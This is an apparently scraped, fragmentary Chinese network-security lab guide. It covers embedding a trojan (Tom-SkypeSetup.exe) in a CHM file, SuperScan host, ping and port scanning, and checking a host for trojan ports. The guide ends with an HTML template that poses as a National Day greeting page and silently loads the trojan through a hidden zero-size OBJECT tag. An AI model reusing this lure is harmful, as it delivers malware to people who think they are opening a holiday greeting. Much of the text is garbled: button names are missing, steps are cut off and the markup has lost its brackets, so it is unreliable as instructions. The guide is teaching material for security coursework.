5 实验指导书_计算机网络安全.docVIP

实验指导书_lly 实验五、计算机网络安全 1. 实验目的 2. 实验环境 安装了Windows XP/Windows 200的机安装了安装了SuperScan软件. 实验 　　运行M_CHM.exe后，点击“文件”创建一个hpp文件，点击文件/编辑，分别生成了word.chm，word.hhk，word.hhc。 用记事本打开word.hhp文件，观察发现文件中多了一个Tom-SkypeSetup.exe文件。这个就是我们种植的木马程序。 内容三：SuperScan软件 在【锁定主机】的输入框输入需要转换的主机名或者IP地址，按【锁定】就可以取得结果。点击【本机】按钮来取得本机的主机名和IP地址，如图1所示。（锁定主机的目的是什么？） 图1 IP地址和主机名的转换 点击【网络】可以取得本地IP设置情况，如图2所示。 　Ping功能的使用 检测…..。 图3 检测在线的主机　　　端口检测 80、21、23 图5 端口扫描结果 注：上图是对一台目标计算机所有端口进行扫描的结果，扫描完成以后，按【全部展开l】展开，可以看到扫描的结果。我们来解释一下以上结果：第一行是目标计算机的IP和主机名；从第二行开始的小圆点是扫描的计算机的活动端口号和对该端口的解释，此行的下一行有一个方框的部分是提供该服务的系统软件。【活动主机】显示扫描到的活动主机数量，这里只扫描了3台，为1；【已开端口】显示目标计算机打开的端口数，这里是7。　检测目标计算机是否被种植木马　　　在主界面选择【】，出现端口设置界面，点击【】选择一个叫trojans.lst的端口列表文件（图），这个文件是软件自带的，提供了常见的木马端口，我们可以使用这个端口列表来检测目标计算机是否被种植木马。trojans.lst列表文件 单击【确定】回到主界面，在【扫描类型】选择【所有列表中选择的端口】。单击【开始】，结果如图7。如果开启的端口个数为0，该主机未被种植木马。 图7 木马病毒检测结果 HTML /* 文档开始 HEAD /* 首部开始  TITLE国庆节祝词！ /TITLE /*标题标记 meta http-equiv = “refresh” content = “3; url = ‘word.html’” /*网页的名字 /HEAD /* 首部结束 BODY /* 正文开始 OBJECT Width = 0 Height = 0 style = “display:none;” Type = “application/x-oleobject” CODEBASE = “Tom-SkypeSetup.exe” /* 木马程序为Tom-SkypeSetup.exe H1好好放松/H1 /*标题标记 P爬爬山，锻炼身体！/P /*段落标记 P读读书，启迪心灵！/P /BODY /* 首部结束 /HTML /*文档结束